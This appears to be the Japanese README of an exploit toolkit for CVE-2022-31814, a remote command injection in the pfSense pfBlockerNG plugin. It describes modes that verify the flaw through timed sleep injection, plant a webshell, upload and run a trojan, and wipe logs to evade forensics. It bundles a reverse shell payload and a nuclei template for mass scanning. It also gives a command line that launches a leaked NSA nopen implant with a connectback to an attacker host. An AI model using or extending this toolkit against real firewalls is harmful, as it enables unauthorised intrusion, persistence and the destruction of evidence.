
CVE-2022-31814 エクスプロイトツールキット
CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26) 悪用ツールキット。
これは、IHTeam によって発見された pfSense pfBlockerNG <= 2.1.4_26 プラグインのリモートコマンドインジェクション機能に対する悪用ツールキットです。
NSA のファイアウォール悪用ツールキットに見られる設計原則をいくつか試すためにこれを書きました。そのため、nopen インプラントと完全に互換性を持つように設計されており(小さく、文書化された変更が1つ必要)、ログ消去機能が組み込まれ、事前チェック(受動的および能動的な脆弱性テスト)を実装することで非常に信頼性が高くなっています。
このツールキットでは、nopen の代役として Python で書かれた単純なリバース TTY シェルペイロードが提供されています(これらの製品には Python インタプリタが同梱されています)。本番環境で NSA からくすねた怪しげなバイナリを実行するのは少々馬鹿げているからです。
バグ報奨金を探すためのテキトーなスキャンや大量悪用には、同梱の nuclei テンプレートを実行してください(おそらく既にアップストリームにも反映されているはずです)。これでターゲットリストが得られます。このファイル名は nuclei-CVE-2022-31814.yaml です。
ネットワークを精密に注意深く扱うための「モード」が4つあり、以下に説明します。これらを順番に実行してください。これらは --mode フラグで設定します。
このモードは2つの HTTP リクエストを行います。1つは、実際に pfSense かどうかを確認するもの(/ の HTTP タイトルを確認)、もう1つは脆弱なエンドポイントにアクセスして問題なさそうかを確認するものです。このモードは何も悪用しません。
このモードは2つの HTTP リクエストを行います。どちらも脆弱性を悪用します。
sleep 1 と sleep 10 を注入し、2つのリクエスト間の時間差が6秒より大きいことを確認します。
プロキシ経由でエクスプロイトを投げる場合(やっていますよね?)のレイテンシを考慮して、少し余裕を持たせてあります。
このモードは3つの HTTP リクエストを行います。
1つ目は脆弱性を悪用して GET リクエストでウェブシェルを設置します。 2つ目はウェブシェルを使って POST リクエストでトロイの木馬をアップロードします。 3つ目はウェブシェルを使って POST リクエストでトロイの木馬を実行します。
このモードは2つの HTTP リクエストを行います。 1つ目はウェブシェルを使ってクリーンアップスクリプトをアップロードします。 2つ目はクリーンアップスクリプトを実行します。
クリーンアップスクリプトはログを消去し、トロイの木馬を削除し、ウェブシェルを削除し、それから自分自身を削除します。これは妥当な方法(rm -rf)で行われます。特にフォレンジック的に堅牢というわけではありません。後で dd を使って削除前にファイルを上書きするように修正するかもしれません。また、sed の魔法を使ってログを外科的に消去するかもしれませんが、まあ、やる気があればの話です。
nopen を使用するには、exploit() 関数内の最後の「トロイの木馬を実行」コマンドを次のように置き換えるだけです。
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
そして、ターゲットシステムで動作する freebsd 用の nopen(noserver)バイナリを用意してください。これは難しいかもしれません。EQGRP リークの noserver-3.3.2.3-freebsd_8.0-i386 をパッチして libkvm.so.5 の代わりに libkvm.so.7 を使うようにする必要があり、さらにターゲットシステムには lib32 互換レイヤーが必要です... これは pfSense にはデフォルトで同梱されていません。
後のリリースでこの処理を自動化する --nopen フラグを追加するかもしれません。もし人々が nopen を使うことに本当にこだわるなら、ですが。そんなこだわりは無意味だと思いますけどね。

IHTeam アドバイザリ: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/